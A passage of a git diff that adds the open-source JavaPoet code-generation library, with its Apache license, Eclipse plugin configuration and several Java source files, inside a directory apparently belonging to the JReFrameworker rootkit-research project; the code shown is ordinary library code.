Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/.gitignore @@ -0,0 +1 @@ +/bin/ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/.project new file mode 100644 index 0000000..52a7d52 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/.project @@ -0,0 +1,28 @@ + + + com.squareup.javapoet + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/.settings/org.eclipse.jdt.core.prefs b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..0c68a61 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8 +org.eclipse.jdt.core.compiler.compliance=1.8 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.8 diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/LICENSE b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/LICENSE new file mode 100644 index 0000000..7a4a3ea --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/LICENSE @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/META-INF/MANIFEST.MF b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/META-INF/MANIFEST.MF new file mode 100644 index 0000000..a915469 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/META-INF/MANIFEST.MF @@ -0,0 +1,13 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: JavaPoet +Bundle-SymbolicName: support.com.squareup.javapoet;singleton:=true +Bundle-Version: 1.8.0.qualifier +Bundle-Vendor: Square +Bundle-RequiredExecutionEnvironment: JavaSE-1.8 +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime +Bundle-ActivationPolicy: lazy +Bundle-Activator: com.squareup.javapoet.Activator +Export-Package: com.squareup.javapoet +Automatic-Module-Name: support.com.squareup.javapoet diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/build.properties b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/build.properties new file mode 100644 index 0000000..34d2e4d --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/build.properties @@ -0,0 +1,4 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/Activator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/Activator.java new file mode 100644 index 0000000..597a0f6 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/Activator.java @@ -0,0 +1,61 @@ +package com.squareup.javapoet; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "com.square.javapoet"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * Returns an image descriptor for the image file at the given + * plug-in relative path + * + * @param path the path + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/AnnotationSpec.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/AnnotationSpec.java new file mode 100644 index 0000000..380bdac --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/AnnotationSpec.java @@ -0,0 +1,285 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.characterLiteralWithoutSingleQuotes; +import static com.squareup.javapoet.Util.checkNotNull; + +import java.io.IOException; +import java.io.StringWriter; +import java.lang.annotation.Annotation; +import java.lang.reflect.Array; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Comparator; +import java.util.Iterator; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +import javax.lang.model.element.AnnotationMirror; +import javax.lang.model.element.AnnotationValue; +import javax.lang.model.element.ExecutableElement; +import javax.lang.model.element.TypeElement; +import javax.lang.model.element.VariableElement; +import javax.lang.model.type.TypeMirror; +import javax.lang.model.util.SimpleAnnotationValueVisitor7; + +/** A generated annotation on a declaration. */ +public final class AnnotationSpec { + public final TypeName type; + public final Map> members; + + private AnnotationSpec(Builder builder) { + this.type = builder.type; + this.members = Util.immutableMultimap(builder.members); + } + + void emit(CodeWriter codeWriter, boolean inline) throws IOException { + String whitespace = inline ? "" : "\n"; + String memberSeparator = inline ? ", " : ",\n"; + if (members.isEmpty()) { + // @Singleton + codeWriter.emit("@$T", type); + } else if (members.size() == 1 && members.containsKey("value")) { + // @Named("foo") + codeWriter.emit("@$T(", type); + emitAnnotationValues(codeWriter, whitespace, memberSeparator, members.get("value")); + codeWriter.emit(")"); + } else { + // Inline: + // @Column(name = "updated_at", nullable = false) + // + // Not inline: + // @Column( + // name = "updated_at", + // nullable = false + // ) + codeWriter.emit("@$T(" + whitespace, type); + codeWriter.indent(2); + for (Iterator>> i + = members.entrySet().iterator(); i.hasNext(); ) { + Map.Entry> entry = i.next(); + codeWriter.emit("$L = ", entry.getKey()); + emitAnnotationValues(codeWriter, whitespace, memberSeparator, entry.getValue()); + if (i.hasNext()) codeWriter.emit(memberSeparator); + } + codeWriter.unindent(2); + codeWriter.emit(whitespace + ")"); + } + } + + private void emitAnnotationValues(CodeWriter codeWriter, String whitespace, + String memberSeparator, List values) throws IOException { + if (values.size() == 1) { + codeWriter.indent(2); + codeWriter.emit(values.get(0)); + codeWriter.unindent(2); + return; + } + + codeWriter.emit("{" + whitespace); + codeWriter.indent(2); + boolean first = true; + for (CodeBlock codeBlock : values) { + if (!first) codeWriter.emit(memberSeparator); + codeWriter.emit(codeBlock); + first = false; + } + codeWriter.unindent(2); + codeWriter.emit(whitespace + "}"); + } + + public static AnnotationSpec get(Annotation annotation) { + return get(annotation, false); + } + + public static AnnotationSpec get(Annotation annotation, boolean includeDefaultValues) { + Builder builder = builder(annotation.annotationType()); + try { + Method[] methods = annotation.annotationType().getDeclaredMethods(); + Arrays.sort(methods, new Comparator() { + @Override + public int compare(Method m1, Method m2) { + return m1.getName().compareTo(m2.getName()); + } + }); + for (Method method : methods) { + Object value = method.invoke(annotation); + if (!includeDefaultValues) { + if (Objects.deepEquals(value, method.getDefaultValue())) { + continue; + } + } + if (value.getClass().isArray()) { + for (int i = 0; i < Array.getLength(value); i++) { + builder.addMemberForValue(method.getName(), Array.get(value, i)); + } + continue; + } + if (value instanceof Annotation) { + builder.addMember(method.getName(), "$L", get((Annotation) value)); + continue; + } + builder.addMemberForValue(method.getName(), value); + } + } catch (Exception e) { + throw new RuntimeException("Reflecting " + annotation + " failed!", e); + } + return builder.build(); + } + + public static AnnotationSpec get(AnnotationMirror annotation) { + TypeElement element = (TypeElement) annotation.getAnnotationType().asElement(); + AnnotationSpec.Builder builder = AnnotationSpec.builder(ClassName.get(element)); + Visitor visitor = new Visitor(builder); + for (ExecutableElement executableElement : annotation.getElementValues().keySet()) { + String name = executableElement.getSimpleName().toString(); + AnnotationValue value = annotation.getElementValues().get(executableElement); + value.accept(visitor, name); + } + return builder.build(); + } + + public static Builder builder(ClassName type) { + checkNotNull(type, "type == null"); + return new Builder(type); + } + + public static Builder builder(Class type) { + return builder(ClassName.get(type)); + } + + public Builder toBuilder() { + Builder builder = new Builder(type); + for (Map.Entry> entry : members.entrySet()) { + builder.members.put(entry.getKey(), new ArrayList<>(entry.getValue())); + } + return builder; + } + + @Override public boolean equals(Object o) { + if (this == o) return true; + if (o == null) return false; + if (getClass() != o.getClass()) return false; + return toString().equals(o.toString()); + } + + @Override public int hashCode() { + return toString().hashCode(); + } + + @Override public String toString() { + StringWriter out = new StringWriter(); + try { + CodeWriter codeWriter = new CodeWriter(out); + codeWriter.emit("$L", this); + return out.toString(); + } catch (IOException e) { + throw new AssertionError(); + } + } + + public static final class Builder { + private final TypeName type; + private final Map> members = new LinkedHashMap<>(); + + private Builder(TypeName type) { + this.type = type; + } + + public Builder addMember(String name, String format, Object... args) { + return addMember(name, CodeBlock.of(format, args)); + } + + public Builder addMember(String name, CodeBlock codeBlock) { + List values = members.get(name); + if (values == null) { + values = new ArrayList<>(); + members.put(name, values); + } + values.add(codeBlock); + return this; + } + + /** + * Delegates to {@link #addMember(String, String, Object...)}, with parameter {@code format} + * depending on the given {@code value} object. Falls back to {@code "$L"} literal format if + * the class of the given {@code value} object is not supported. + */ + Builder addMemberForValue(String memberName, Object value) { + checkNotNull(memberName, "memberName == null"); + checkNotNull(value, "value == null, constant non-null value expected for %s", memberName); + if (value instanceof Class) { + return addMember(memberName, "$T.class", value); + } + if (value instanceof Enum) { + return addMember(memberName, "$T.$L", value.getClass(), ((Enum) value).name()); + } + if (value instanceof String) { + return addMember(memberName, "$S", value); + } + if (value instanceof Float) { + return addMember(memberName, "$Lf", value); + } + if (value instanceof Character) { + return addMember(memberName, "'$L'", characterLiteralWithoutSingleQuotes((char) value)); + } + return addMember(memberName, "$L", value); + } + + public AnnotationSpec build() { + return new AnnotationSpec(this); + } + } + + /** + * Annotation value visitor adding members to the given builder instance. + */ + private static class Visitor extends SimpleAnnotationValueVisitor7 { + final Builder builder; + + Visitor(Builder builder) { + super(builder); + this.builder = builder; + } + + @Override protected Builder defaultAction(Object o, String name) { + return builder.addMemberForValue(name, o); + } + + @Override public Builder visitAnnotation(AnnotationMirror a, String name) { + return builder.addMember(name, "$L", get(a)); + } + + @Override public Builder visitEnumConstant(VariableElement c, String name) { + return builder.addMember(name, "$T.$L", c.asType(), c.getSimpleName()); + } + + @Override public Builder visitType(TypeMirror t, String name) { + return builder.addMember(name, "$T.class", t); + } + + @Override public Builder visitArray(List values, String name) { + for (AnnotationValue value : values) { + value.accept(this, name); + } + return builder; + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/ArrayTypeName.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/ArrayTypeName.java new file mode 100644 index 0000000..07ff329 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/ArrayTypeName.java @@ -0,0 +1,83 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkNotNull; + +import java.io.IOException; +import java.lang.reflect.GenericArrayType; +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +import javax.lang.model.element.TypeParameterElement; +import javax.lang.model.type.ArrayType; + +public final class ArrayTypeName extends TypeName { + public final TypeName componentType; + + private ArrayTypeName(TypeName componentType) { + this(componentType, new ArrayList()); + } + + private ArrayTypeName(TypeName componentType, List annotations) { + super(annotations); + this.componentType = checkNotNull(componentType, "rawType == null"); + } + + @Override public ArrayTypeName annotated(List annotations) { + return new ArrayTypeName(componentType, concatAnnotations(annotations)); + } + + @Override public TypeName withoutAnnotations() { + return new ArrayTypeName(componentType); + } + + @Override CodeWriter emit(CodeWriter out) throws IOException { + return out.emit("$T[]", componentType); + } + + /** Returns an array type whose elements are all instances of {@code componentType}. */ + public static ArrayTypeName of(TypeName componentType) { + return new ArrayTypeName(componentType); + } + + /** Returns an array type whose elements are all instances of {@code componentType}. */ + public static ArrayTypeName of(Type componentType) { + return of(TypeName.get(componentType)); + } + + /** Returns an array type equivalent to {@code mirror}. */ + public static ArrayTypeName get(ArrayType mirror) { + return get(mirror, new LinkedHashMap()); + } + + static ArrayTypeName get( + ArrayType mirror, Map typeVariables) { + return new ArrayTypeName(get(mirror.getComponentType(), typeVariables)); + } + + /** Returns an array type equivalent to {@code type}. */ + public static ArrayTypeName get(GenericArrayType type) { + return get(type, new LinkedHashMap()); + } + + static ArrayTypeName get(GenericArrayType type, Map map) { + return ArrayTypeName.of(get(type.getGenericComponentType(), map)); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/ClassName.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/ClassName.java new file mode 100644 index 0000000..52002c9 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/ClassName.java @@ -0,0 +1,231 @@ +/* + * Copyright (C) 2014 Google, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; +import static com.squareup.javapoet.Util.checkNotNull; +import static javax.lang.model.element.NestingKind.MEMBER; +import static javax.lang.model.element.NestingKind.TOP_LEVEL; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Map; + +import javax.lang.model.SourceVersion; +import javax.lang.model.element.Element; +import javax.lang.model.element.ElementKind; +import javax.lang.model.element.PackageElement; +import javax.lang.model.element.TypeElement; + +/** A fully-qualified class name for top-level and member classes. */ +public final class ClassName extends TypeName implements Comparable { + public static final ClassName OBJECT = ClassName.get(Object.class); + + /** From top to bottom. This will be ["java.util", "Map", "Entry"] for {@link Map.Entry}. */ + final List names; + final String canonicalName; + + private ClassName(List names) { + this(names, new ArrayList()); + } + + private ClassName(List names, List annotations) { + super(annotations); + for (int i = 1; i < names.size(); i++) { + checkArgument(SourceVersion.isName(names.get(i)), "part '%s' is keyword", names.get(i)); + } + this.names = Util.immutableList(names); + this.canonicalName = names.get(0).isEmpty() + ? Util.join(".", names.subList(1, names.size())) + : Util.join(".", names); + } + + @Override public ClassName annotated(List annotations) { + return new ClassName(names, concatAnnotations(annotations)); + } + + @Override public TypeName withoutAnnotations() { + return new ClassName(names); + } + + /** Returns the package name, like {@code "java.util"} for {@code Map.Entry}. */ + public String packageName() { + return names.get(0); + } + + /** + * Returns the enclosing class, like {@link Map} for {@code Map.Entry}. Returns null if this class + * is not nested in another class. + */ + public ClassName enclosingClassName() { + if (names.size() == 2) return null; + return new ClassName(names.subList(0, names.size() - 1)); + } + + /** + * Returns the top class in this nesting group. Equivalent to chained calls to {@link + * #enclosingClassName()} until the result's enclosing class is null. + */ + public ClassName topLevelClassName() { + return new ClassName(names.subList(0, 2)); + } + + public String reflectionName() { + // trivial case: no nested names + if (names.size() == 2) { + String packageName = packageName(); + if (packageName.isEmpty()) { + return names.get(1); + } + return packageName + "." + names.get(1); + } + // concat top level class name and nested names + StringBuilder builder = new StringBuilder(); + builder.append(topLevelClassName()); + for (String name : simpleNames().subList(1, simpleNames().size())) { + builder.append('$').append(name); + } + return builder.toString(); + } + + /** + * Returns a new {@link ClassName} instance for the specified {@code name} as nested inside this + * class. + */ + public ClassName nestedClass(String name) { + checkNotNull(name, "name == null"); + List result = new ArrayList<>(names.size() + 1); + result.addAll(names); + result.add(name); + return new ClassName(result); + } + + public List simpleNames() { + return names.subList(1, names.size()); + } + + /** + * Returns a class that shares the same enclosing package or class. If this class is enclosed by + * another class, this is equivalent to {@code enclosingClassName().nestedClass(name)}. Otherwise + * it is equivalent to {@code get(packageName(), name)}. + */ + public ClassName peerClass(String name) { + List result = new ArrayList<>(names); + result.set(result.size() - 1, name); + return new ClassName(result); + } + + /** Returns the simple name of this class, like {@code "Entry"} for {@link Map.Entry}. */ + public String simpleName() { + return names.get(names.size() - 1); + } + + public static ClassName get(Class clazz) { + checkNotNull(clazz, "clazz == null"); + checkArgument(!clazz.isPrimitive(), "primitive types cannot be represented as a ClassName"); + checkArgument(!void.class.equals(clazz), "'void' type cannot be represented as a ClassName"); + checkArgument(!clazz.isArray(), "array types cannot be represented as a ClassName"); + List names = new ArrayList<>(); + while (true) { + names.add(clazz.getSimpleName()); + Class enclosing = clazz.getEnclosingClass(); + if (enclosing == null) break; + clazz = enclosing; + } + // Avoid unreliable Class.getPackage(). https://github.com/square/javapoet/issues/295 + int lastDot = clazz.getName().lastIndexOf('.'); + if (lastDot != -1) names.add(clazz.getName().substring(0, lastDot)); + Collections.reverse(names); + return new ClassName(names); + } + + /** + * Returns a new {@link ClassName} instance for the given fully-qualified class name string. This + * method assumes that the input is ASCII and follows typical Java style (lowercase package + * names, UpperCamelCase class names) and may produce incorrect results or throw + * {@link IllegalArgumentException} otherwise. For that reason, {@link #get(Class)} and + * {@link #get(Class)} should be preferred as they can correctly create {@link ClassName} + * instances without such restrictions. + */ + public static ClassName bestGuess(String classNameString) { + List names = new ArrayList<>(); + + // Add the package name, like "java.util.concurrent", or "" for no package. + int p = 0; + while (p < classNameString.length() && Character.isLowerCase(classNameString.codePointAt(p))) { + p = classNameString.indexOf('.', p) + 1; + checkArgument(p != 0, "couldn't make a guess for %s", classNameString); + } + names.add(p != 0 ? classNameString.substring(0, p - 1) : ""); + + // Add the class names, like "Map" and "Entry". + for (String part : classNameString.substring(p).split("\\.", -1)) { + checkArgument(!part.isEmpty() && Character.isUpperCase(part.codePointAt(0)), + "couldn't make a guess for %s", classNameString); + names.add(part); + } + + checkArgument(names.size() >= 2, "couldn't make a guess for %s", classNameString); + return new ClassName(names); + } + + /** + * Returns a class name created from the given parts. For example, calling this with package name + * {@code "java.util"} and simple names {@code "Map"}, {@code "Entry"} yields {@link Map.Entry}. + */ + public static ClassName get(String packageName, String simpleName, String... simpleNames) { + List result = new ArrayList<>(); + result.add(packageName); + result.add(simpleName); + Collections.addAll(result, simpleNames); + return new ClassName(result); + } + + /** Returns the class name for {@code element}. */ + public static ClassName get(TypeElement element) { + checkNotNull(element, "element == null"); + List names = new ArrayList<>(); + for (Element e = element; isClassOrInterface(e); e = e.getEnclosingElement()) { + checkArgument(element.getNestingKind() == TOP_LEVEL || element.getNestingKind() == MEMBER, + "unexpected type testing"); + names.add(e.getSimpleName().toString()); + } + names.add(getPackage(element).getQualifiedName().toString()); + Collections.reverse(names); + return new ClassName(names); + } + + private static boolean isClassOrInterface(Element e) { + return e.getKind().isClass() || e.getKind().isInterface(); + } + + private static PackageElement getPackage(Element type) { + while (type.getKind() != ElementKind.PACKAGE) { + type = type.getEnclosingElement(); + } + return (PackageElement) type; + } + + @Override public int compareTo(ClassName o) { + return canonicalName.compareTo(o.canonicalName); + } + + @Override CodeWriter emit(CodeWriter out) throws IOException { + return out.emitAndIndent(out.lookupName(this)); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/CodeBlock.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/CodeBlock.java new file mode 100644 index 0000000..63556eb --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/CodeBlock.java @@ -0,0 +1,373 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; + +import java.io.IOException; +import java.io.StringWriter; +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import javax.lang.model.element.Element; +import javax.lang.model.type.TypeMirror; + +/** + * A fragment of a .java file, potentially containing declarations, statements, and documentation. + * Code blocks are not necessarily well-formed Java code, and are not validated. This class assumes + * javac will check correctness later! + * + *

Code blocks support placeholders like {@link java.text.Format}. Where {@link String#format} + * uses percent {@code %} to reference target values, this class uses dollar sign {@code $} and has + * its own set of permitted placeholders: + * + *

    + *
  • {@code $L} emits a literal value with no escaping. Arguments for literals may be + * strings, primitives, {@linkplain TypeSpec type declarations}, {@linkplain AnnotationSpec + * annotations} and even other code blocks. + *
